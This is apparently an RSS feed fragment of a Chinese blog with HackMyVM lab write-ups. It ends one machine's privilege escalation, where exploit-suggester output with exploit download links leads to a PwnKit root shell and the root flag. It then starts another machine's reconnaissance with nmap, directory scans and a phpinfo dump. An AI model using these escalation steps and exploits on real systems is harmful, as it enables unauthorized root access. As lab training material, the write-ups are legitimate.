└─# scp linux-exploit-suggester.sh thugger@192.168.0.100:/tmp/

thugger@192.168.0.100&amp;#39;s password: 
linux-exploit-suggester.sh                                                100%   89KB  37.2MB/s   00:00 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;thugger@drippingblues:/tmp$ ./linux-exploit-suggester.sh 

Available information:

Kernel version: 5.11.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 20.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

81 kernel space exploits
49 user space exploits

Possible Exploits:

[+] [CVE-2021-3490] eBPF ALU32 bounds tracking for bitwise ops

   Details: https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story
   Exposure: highly probable
   Tags: [ ubuntu=20.04 ]{kernel:5.8.0-(25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52)-*},ubuntu=21.04{kernel:5.11.0-16-*}
   Download URL: https://codeload.github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490/zip/main
   Comments: CONFIG_BPF_SYSCALL needs to be set &amp;amp;&amp;amp; kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2022-2586] nft_object UAF

   Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
   Exposure: probable
   Tags: [ ubuntu=(20.04) ]{kernel:5.12.13}
   Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2022-0847] DirtyPipe

   Details: https://dirtypipe.cm4all.com/
   Exposure: probable
   Tags: [ ubuntu=(20.04|21.04) ],debian=11
   Download URL: https://haxx.in/files/dirtypipez.c

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: mint=19,[ ubuntu=18|20 ], debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: probable
   Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

   Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
   Exposure: less probable
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;p&gt; pwnkit的漏洞 &lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/joeammond/CVE-2021-4034/blob/main/CVE-2021-4034.py&quot;&gt;https://github.com/joeammond/CVE-2021-4034/blob/main/CVE-2021-4034.py&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;thugger@drippingblues:/tmp$ vi root.py
thugger@drippingblues:/tmp$ python3 root.py 
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1001(thugger) groups=1001(thugger)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;root.txt
# cat root.txt
78CE377EF7F10FF0EDCA63DD60EE63B8
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/drippingblues/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/drippingblues/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Ephemeral</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/ephemeral/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/ephemeral/</guid><description>Enumeration is key.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Ephemeral-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;
192.168.0.100   08:00:27:89:6b:14       PCS Systemtechnik GmbH
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-13 02:12 EST
Nmap scan report for mail.codeshield.hmv (192.168.0.100)
Host is up (0.00040s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0a:0d:44:3c:38:8f:c0:6d:5d:72:18:e6:d9:12:3e:57 (RSA)
|   256 4d:7d:ba:6f:a9:88:ea:a2:34:3a:6a:0c:3a:27:1c:d5 (ECDSA)
|_  256 74:36:bf:af:8a:53:0a:c1:7f:ca:2e:a1:5c:c5:25:ad (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: AutoWash - Car Wash Website Template
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;目录扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# dirsearch -u http://192.168.0.100

  _|. _ _  _  _  _ _|_    v0.4.3                     
 (_||| _) (/_(_|| (_| )                              
                                                     
Extensions: php, aspx, jsp, html, js
HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/Desktop/hmv/reports/http_192.168.0.100/_26-01-13_02-13-43.txt

Target: http://192.168.0.100/

[02:13:43] Starting:                                 
[02:13:43] 301 -  311B  - /js  -&amp;gt;  http://192.168.0.100/js/
[02:13:44] 403 -  278B  - /.ht_wsr.txt
[02:13:44] 403 -  278B  - /.htaccess.orig
[02:13:44] 403 -  278B  - /.htaccess_orig
[02:13:44] 403 -  278B  - /.htaccess_extra
[02:13:44] 403 -  278B  - /.htaccessBAK
[02:13:44] 403 -  278B  - /.htaccess.bak1
[02:13:44] 403 -  278B  - /.htaccessOLD2
[02:13:44] 403 -  278B  - /.html
[02:13:44] 403 -  278B  - /.htaccess.save
[02:13:44] 403 -  278B  - /.htpasswd_test
[02:13:44] 403 -  278B  - /.htaccess_sc
[02:13:44] 403 -  278B  - /.htaccessOLD
[02:13:44] 403 -  278B  - /.htaccess.sample
[02:13:44] 403 -  278B  - /.htm
[02:13:44] 403 -  278B  - /.httr-oauth
[02:13:44] 403 -  278B  - /.htpasswds
[02:13:45] 403 -  278B  - /.php
[02:13:48] 200 -    3KB - /about.html
[02:14:06] 200 -    3KB - /contact.html
[02:14:07] 301 -  312B  - /css  -&amp;gt;  http://192.168.0.100/css/
[02:14:18] 301 -  312B  - /img  -&amp;gt;  http://192.168.0.100/img/
[02:14:21] 200 -  454B  - /js/
[02:14:22] 200 -  511B  - /lib/
[02:14:22] 301 -  312B  - /lib  -&amp;gt;  http://192.168.0.100/lib/
[02:14:22] 200 -  592B  - /LICENSE.txt
[02:14:25] 301 -  313B  - /mail  -&amp;gt;  http://192.168.0.100/mail/
[02:14:25] 200 -  515B  - /mail/
[02:14:43] 403 -  278B  - /server-status
[02:14:43] 403 -  278B  - /server-status/

Task Completed  
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# gobuster dir -u http://192.168.0.100 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.100
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              bak,js,yaml,php,txt,html,zip,db
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 278]
/.php                 (Status: 403) [Size: 278]
/contact.html         (Status: 200) [Size: 15151]
/blog.html            (Status: 200) [Size: 20094]
/img                  (Status: 301) [Size: 312] [--&amp;gt; http://192.168.0.100/img/]                           
/mail                 (Status: 301) [Size: 313] [--&amp;gt; http://192.168.0.100/mail/]                          
/service.html         (Status: 200) [Size: 16853]
/about.html           (Status: 200) [Size: 18464]
/index.html           (Status: 200) [Size: 39494]
/css                  (Status: 301) [Size: 312] [--&amp;gt; http://192.168.0.100/css/]                           
/team.html            (Status: 200) [Size: 18605]
/lib                  (Status: 301) [Size: 312] [--&amp;gt; http://192.168.0.100/lib/]                           
/js                   (Status: 301) [Size: 311] [--&amp;gt; http://192.168.0.100/js/]                            
/cd                   (Status: 301) [Size: 311] [--&amp;gt; http://192.168.0.100/cd/]                            
/location.html        (Status: 200) [Size: 14685]
/price.html           (Status: 200) [Size: 14635]
/price                (Status: 301) [Size: 314] [--&amp;gt; http://192.168.0.100/price/]                         
/prices               (Status: 301) [Size: 315] [--&amp;gt; http://192.168.0.100/prices/]                        
/LICENSE.txt          (Status: 200) [Size: 1309]
/single.html          (Status: 200) [Size: 48856]
/booking.html         (Status: 200) [Size: 14677]
/.html                (Status: 403) [Size: 278]
/.php                 (Status: 403) [Size: 278]
/phpsysinfo.php       (Status: 200) [Size: 69419]
/server-status        (Status: 403) [Size: 278]
Progress: 1985031 / 1985040 (100.00%)
===============================================================
Finished
===============================================================
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;eyIxIjp7IklEIjoxLCJuYW1lIjoiTXkgaWNvbnMgY29sbGVjdGlvbiIsImJvb2ttYXJrX2lkIjoibXdsYTJyMGN2cGEwMDAwMCIsImNyZWF0ZWQiOm51bGwsInVwZGF0ZWQiOjE2MDI0MDM3MTEsImFjdGl2ZSI6MSwic291cmNlIjoibG9jYWwiLCJvcmRlciI6MCwiY29sb3IiOiIwMDAwMDAiLCJzdGF0dXMiOjF9LCJtd2xhMnIwY3ZwYTAwMDAwIjpbeyJpZCI6MjA1MjM1NywidGVhbSI6MCwibmFtZSI6ImNhci1zZXJ2aWNlIiwiY29sb3IiOiIjMDAwMDAwIiwicHJlbWl1bSI6MCwic29ydCI6Mn0seyJpZCI6MjA1MjM5OCwidGVhbSI6MCwibmFtZSI6InNlYXQiLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0IjozfSx7ImlkIjoyMDUyMzQxLCJ0ZWFtIjowLCJuYW1lIjoiY2FyLXNlcnZpY2UiLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0Ijo0fSx7ImlkIjoyMDUyNDE3LCJ0ZWFtIjowLCJuYW1lIjoiY2FyLXdhc2giLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0Ijo1fSx7ImlkIjoyMDUyMzI0LCJ0ZWFtIjowLCJuYW1lIjoiYnJ1c2giLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0Ijo2fSx7ImlkIjoyMDUyNDIxLCJ0ZWFtIjowLCJuYW1lIjoidmFjdXVtLWNsZWFuZXIiLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0Ijo3fSx7ImlkIjoyMDUyMzY0LCJ0ZWFtIjowLCJuYW1lIjoiYnJ1c2giLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0Ijo4fSx7ImlkIjoyMDUyMzUzLCJ0ZWFtIjowLCJuYW1lIjoiY2FyLXNlcnZpY2UiLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0Ijo5fSx7ImlkIjoyMDUyMzkxLCJ0ZWFtIjowLCJuYW1lIjoiY2FyLXNlcnZpY2UiLCJjb2xvciI6IiMwMDAwMDAiLCJwcmVtaXVtIjowLCJzb3J0IjoxMH0seyJpZCI6MjA1MjMyMiwidGVhbSI6MCwibmFtZSI6ImNhci13YXNoIiwiY29sb3IiOiIjMDAwMDAwIiwicHJlbWl1bSI6MCwic29ydCI6MX1dfQ==
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;base64解码后得到&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;{&amp;quot;1&amp;quot;:{&amp;quot;ID&amp;quot;:1,&amp;quot;name&amp;quot;:&amp;quot;My icons collection&amp;quot;,&amp;quot;bookmark_id&amp;quot;:&amp;quot;mwla2r0cvpa00000&amp;quot;,&amp;quot;created&amp;quot;:null,&amp;quot;updated&amp;quot;:1602403711,&amp;quot;active&amp;quot;:1,&amp;quot;source&amp;quot;:&amp;quot;local&amp;quot;,&amp;quot;order&amp;quot;:0,&amp;quot;color&amp;quot;:&amp;quot;000000&amp;quot;,&amp;quot;status&amp;quot;:1},&amp;quot;mwla2r0cvpa00000&amp;quot;:[{&amp;quot;id&amp;quot;:2052357,&amp;quot;team&amp;quot;:0,&amp;quot;name&amp;quot;:&amp;quot;car-service&amp;quot;,&amp;quot;color&amp;quot;:&amp;quot;#000000&amp;quot;,&amp;quot;premium&amp;quot;:0,&amp;quot;sort&amp;quot;:2},{&amp;quot;id&amp;quot;:2052398,&amp;quot;team&amp;quot;:0,&amp;quot;name&amp;quot;:&amp;quot;seat&amp;quot;,&amp;quot;color&amp;quot;:&amp;quot;#000000&amp;quot;,&amp;quot;premium&amp;quot;:0,&amp;quot;sort&amp;quot;:3},{&amp;quot;id&amp;quot;:2052341,&amp;quot;team&amp;quot;:0,&amp;quot;name&amp;quot;:&amp;quot;car-service&amp;quot;,&amp;quot;color&amp;quot;:&amp;quot;#000000&amp;quot;,&amp;quot;premium&amp;quot;:0,&amp;quot;sort&amp;quot;:4},{&amp;quot;id&amp;quot;:2052417,&amp;quot;team&amp;quot;:0,&amp;quot;name&amp;quot;:&amp;quot;car-wash&amp;quot;,&amp;quot;color&amp;quot;:&amp;quot;#000000&amp;quot;,&amp;quot;premium&amp;quot;:0,&amp;quot;sort&amp;quot;:5},{&amp;quot;id&amp;quot;:2052324,&amp;quot;team&amp;quot;:0,&amp;quot;name&amp;quot;:&amp;quot;brush&amp;quot;,&amp;quot;color&amp;quot;:&amp;quot;#000000&amp;quot;,&amp;quot;premium&amp;quot;:0,&amp;quot;sort&amp;quot;:6},{&amp;quot;id&amp;quot;:2052421,&amp;quot;team&amp;quot;:0,&amp;quot;name&amp;quot;:&amp;quot;vacuum-cleaner&amp;quot;,&amp;quot;color&amp;quot;:&amp;quot;#000000&amp;quot;,&amp;quot;premium&amp;quot;:0,&amp;quot;sort&amp;quot;:7},{&amp;quot;id&amp;quot;:2052364,&amp;quot;team&amp;quot;:0,&amp;quot;name&amp;quot;:&amp;quot;brush&amp;quot;,&amp;quot;color&amp;quot;:&amp;quot;#000000&amp;quot;,&amp;quot;premium&amp;quot;:0,&amp;quot;sort&amp;quot;:8},{&amp;quot;id&amp;quot;:2052353,&amp;quot;team&amp;quot;:0,&amp;quot;name&amp;quot;:&amp;quot;car-service&amp;quot;,&amp;quot;color&amp;quot;:&amp;quot;#000000&amp;quot;,&amp;quot;premium&amp;quot;:0,&amp;quot;sort&amp;quot;:9},{&amp;quot;id&amp;quot;:2052391,&amp;quot;team&amp;quot;:0,&amp;quot;name&amp;quot;:&amp;quot;car-service&amp;quot;,&amp;quot;color&amp;quot;:&amp;quot;#000000&amp;quot;,&amp;quot;premium&amp;quot;:0,&amp;quot;sort&amp;quot;:10},{&amp;quot;id&amp;quot;:2052322,&amp;quot;team&amp;quot;:0,&amp;quot;name&amp;quot;:&amp;quot;car-wash&amp;quot;,&amp;quot;color&amp;quot;:&amp;quot;#000000&amp;quot;,&amp;quot;premium&amp;quot;:0,&amp;quot;sort&amp;quot;:1}]}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;/phpsyinfo&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Ephemeral PHP Info Page
PHP logo
PHP Version 7.4.3
System 	Linux ephemeral 5.17.0-051700rc7-generic #202203062330 SMP PREEMPT Sun Mar 6 23:33:35 UTC 2022 x86_64
Build Date 	Mar 2 2022 15:36:52
Server API 	Apache 2.0 Handler
Virtual Directory Support 	disabled
Configuration File (php.ini) Path 	/etc/php/7.4/apache2
Loaded Configuration File 	/etc/php/7.4/apache2/php.ini
Scan this dir for additional .ini files 	/etc/php/7.4/apache2/conf.d
Additional .ini files parsed 	/etc/php/7.4/apache2/conf.d/10-opcache.ini, /etc/php/7.4/apache2/conf.d/10-pdo.ini, /etc/php/7.4/apache2/conf.d/20-calendar.ini, /etc/php/7.4/apache2/conf.d/20-ctype.ini, /etc/php/7.4/apache2/conf.d/20-exif.ini, /etc/php/7.4/apache2/conf.d/20-ffi.ini, /etc/php/7.4/apache2/conf.d/20-fileinfo.ini, /etc/php/7.4/apache2/conf.d/20-ftp.ini, /etc/php/7.4/apache2/conf.d/20-gettext.ini, /etc/php/7.4/apache2/conf.d/20-iconv.ini, /etc/php/7.4/apache2/conf.d/20-json.ini, /etc/php/7.4/apache2/conf.d/20-phar.ini, /etc/php/7.4/apache2/conf.d/20-posix.ini, /etc/php/7.4/apache2/conf.d/20-readline.ini, /etc/php/7.4/apache2/conf.d/20-shmop.ini, /etc/php/7.4/apache2/conf.d/20-sockets.ini, /etc/php/7.4/apache2/conf.d/20-sysvmsg.ini, /etc/php/7.4/apache2/conf.d/20-sysvsem.ini, /etc/php/7.4/apache2/conf.d/20-sysvshm.ini, /etc/php/7.4/apache2/conf.d/20-tokenizer.ini
PHP API 	20190902
PHP Extension 	20190902
Zend Extension 	320190902
Zend Extension Build 	API320190902,NTS
PHP Extension Build 	API20190902,NTS
Debug Build 	no
Thread Safety 	disabled
Zend Signal Handling 	enabled
Zend Memory Manager 	enabled
Zend Multibyte Support 	disabled
IPv6 Support 	enabled
DTrace Support 	available, disabled
Registered PHP Streams	https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar
Registered Stream Socket Transports	tcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2, tlsv1.3
Registered Stream Filters	zlib.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, convert.iconv.*
Zend logo This program makes use of the Zend Scripting Language Engine:
Zend Engine v3.4.0, Copyright (c) Zend Technologies
    with Zend OPcache v7.4.3, Copyright (c), by Zend Technologies
Configuration
apache2handler
Apache Version 	Apache/2.4.41 (Ubuntu)
Apache API Version 	20120211
Server Administrator 	webmaster@localhost
Hostname:Port 	127.0.1.1:80
User/Group 	www-data(33)/33
Max Requests 	Per Child: 0 - Keep Alive: on - Max Per Connection: 100
Timeouts 	Connection: 300 - Keep-Alive: 5
Virtual Server 	Yes
Server Root 	/etc/apache2
Loaded Modules 	core mod_so mod_watchdog http_core mod_log_config mod_logio mod_version mod_unixd mod_access_compat mod_alias mod_auth_basic mod_authn_core mod_authn_file mod_authz_core mod_authz_host mod_authz_user mod_autoindex mod_deflate mod_dir mod_env mod_filter mod_mime prefork mod_negotiation mod_php7 mod_reqtimeout mod_setenvif mod_status
Directive	Local Value	Master Value
engine	1	1
last_modified	0	0
xbithack	0	0
Apache Environment
Variable	Value
HTTP_HOST 	192.168.0.100
HTTP_USER_AGENT 	Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
HTTP_ACCEPT 	text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
HTTP_ACCEPT_LANGUAGE 	zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
HTTP_ACCEPT_ENCODING 	gzip, deflate
HTTP_CONNECTION 	keep-alive
HTTP_UPGRADE_INSECURE_REQUESTS 	1
HTTP_PRIORITY 	u=0, i
PATH 	/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
SERVER_SIGNATURE 	&amp;lt;address&amp;gt;Apache/2.4.41 (Ubuntu) Server at 192.168.0.100 Port 80&amp;lt;/address&amp;gt;
SERVER_SOFTWARE 	Apache/2.4.41 (Ubuntu)
SERVER_NAME 	192.168.0.100
SERVER_ADDR 	192.168.0.100
SERVER_PORT 	80
REMOTE_ADDR 	192.168.0.106
DOCUMENT_ROOT 	/var/www/html
REQUEST_SCHEME 	http
CONTEXT_PREFIX 	no value
CONTEXT_DOCUMENT_ROOT 	/var/www/html
SERVER_ADMIN 	webmaster@localhost
SCRIPT_FILENAME 	/var/www/html/phpsysinfo.php
REMOTE_PORT 	52058
GATEWAY_INTERFACE 	CGI/1.1
SERVER_PROTOCOL 	HTTP/1.1
REQUEST_METHOD 	GET
QUERY_STRING 	no value
REQUEST_URI 	/phpsysinfo.php
SCRIPT_NAME 	/phpsysinfo.php
HTTP Headers Information
HTTP Request Headers
HTTP Request 	GET /phpsysinfo.php HTTP/1.1
Host 	192.168.0.100
User-Agent 	Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept 	text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language 	zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding 	gzip, deflate
Connection 	keep-alive
Upgrade-Insecure-Requests 	1
Priority 	u=0, i
HTTP Response Headers
calendar
Calendar support 	enabled
Core
PHP Version 	7.4.3
Directive	Local Value	Master Value
allow_url_fopen	On	On
allow_url_include	Off	Off
arg_separator.input	&amp;amp;	&amp;amp;
arg_separator.output	&amp;amp;	&amp;amp;
auto_append_file	no value	no value
auto_globals_jit	On	On
auto_prepend_file	no value	no value
browscap	no value	no value
default_charset	UTF-8	UTF-8
default_mimetype	text/html	text/html
disable_classes	no value	no value
disable_functions	pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,	pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
display_errors	Off	Off
display_startup_errors	Off	Off
doc_root	no value	no value
docref_ext	no value	no value
docref_root	no value	no value
enable_dl	Off	Off
enable_post_data_reading	On	On
error_append_string	no value	no value
error_log	no value	no value
error_prepend_string	no value	no value
error_reporting	22527	22527
expose_php	Off	Off
extension_dir	/usr/lib/php/20190902	/usr/lib/php/20190902
file_uploads	On	On
hard_timeout	2	2
highlight.comment	#FF8000	#FF8000
highlight.default	#0000BB	#0000BB
highlight.html	#000000	#000000
highlight.keyword	#007700	#007700
highlight.string	#DD0000	#DD0000
html_errors	On	On
ignore_repeated_errors	Off	Off
ignore_repeated_source	Off	Off
ignore_user_abort	Off	Off
implicit_flush	Off	Off
include_path	.:/usr/share/php	.:/usr/share/php
input_encoding	no value	no value
internal_encoding	no value	no value
log_errors	On	On
log_errors_max_len	1024	1024
mail.add_x_header	Off	Off
mail.force_extra_parameters	no value	no value
mail.log	no value	no value
max_execution_time	30	30
max_file_uploads	20	20
max_input_nesting_level	64	64
max_input_time	60	60
max_input_vars	1000	1000
memory_limit	128M	128M
open_basedir	no value	no value
output_buffering	4096	4096
output_encoding	no value	no value
output_handler	no value	no value
post_max_size	8M	8M
precision	14	14
realpath_cache_size	4096K	4096K
realpath_cache_ttl	120	120
register_argc_argv	Off	Off
report_memleaks	On	On
report_zend_debug	On	On
request_order	GP	GP
sendmail_from	no value	no value
sendmail_path	/usr/sbin/sendmail -t -i 	/usr/sbin/sendmail -t -i 
serialize_precision	-1	-1
short_open_tag	Off	Off
SMTP	localhost	localhost
smtp_port	25	25
sys_temp_dir	no value	no value
syslog.facility	LOG_USER	LOG_USER
syslog.filter	no-ctrl	no-ctrl
syslog.ident	php	php
track_errors	Off	Off
unserialize_callback_func	no value	no value
upload_max_filesize	2M	2M
upload_tmp_dir	no value	no value
user_dir	no value	no value
user_ini.cache_ttl	300	300
user_ini.filename	.user.ini	.user.ini
variables_order	GPCS	GPCS
xmlrpc_error_number	0	0
xmlrpc_errors	Off	Off
zend.assertions	-1	-1
zend.detect_unicode	On	On
zend.enable_gc	On	On
zend.exception_ignore_args	On	On
zend.multibyte	Off	Off
zend.script_encoding	no value	no value
zend.signal_check	Off	Off
ctype
ctype functions 	enabled
date
date/time support 	enabled
timelib version 	2018.03
&amp;quot;Olson&amp;quot; Timezone Database Version 	0.system
Timezone Database 	internal
Default timezone 	America/Denver
Directive	Local Value	Master Value
date.default_latitude	31.7667	31.7667
date.default_longitude	35.2333	35.2333
date.sunrise_zenith	90.583333	90.583333
date.sunset_zenith	90.583333	90.583333
date.timezone	no value	no value
exif
EXIF Support 	enabled
Supported EXIF Version 	0220
Supported filetypes 	JPEG, TIFF
Multibyte decoding support using mbstring 	disabled
Extended EXIF tag formats 	Canon, Casio, Fujifilm, Nikon, Olympus, Samsung, Panasonic, DJI, Sony, Pentax, Minolta, Sigma, Foveon, Kyocera, Ricoh, AGFA, Epson
Directive	Local Value	Master Value
exif.decode_jis_intel	JIS	JIS
exif.decode_jis_motorola	JIS	JIS
exif.decode_unicode_intel	UCS-2LE	UCS-2LE
exif.decode_unicode_motorola	UCS-2BE	UCS-2BE
exif.encode_jis	no value	no value
exif.encode_unicode	ISO-8859-15	ISO-8859-15
FFI
FFI support	enabled
Directive	Local Value	Master Value
ffi.enable	preload	preload
ffi.preload	no value	no value
fileinfo
fileinfo support 	enabled
libmagic 	537
filter
Input Validation and Filtering 	enabled
Directive	Local Value	Master Value
filter.default	unsafe_raw	unsafe_raw
filter.default_flags	no value	no value
ftp
FTP support 	enabled
FTPS support 	enabled
gettext
GetText Support 	enabled
hash
hash support 	enabled
Hashing Engines 	md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256 sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b crc32c fnv132 fnv1a32 fnv164 fnv1a64 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5
MHASH support 	Enabled
MHASH API Version 	Emulated Support
iconv
iconv support 	enabled
iconv implementation 	glibc
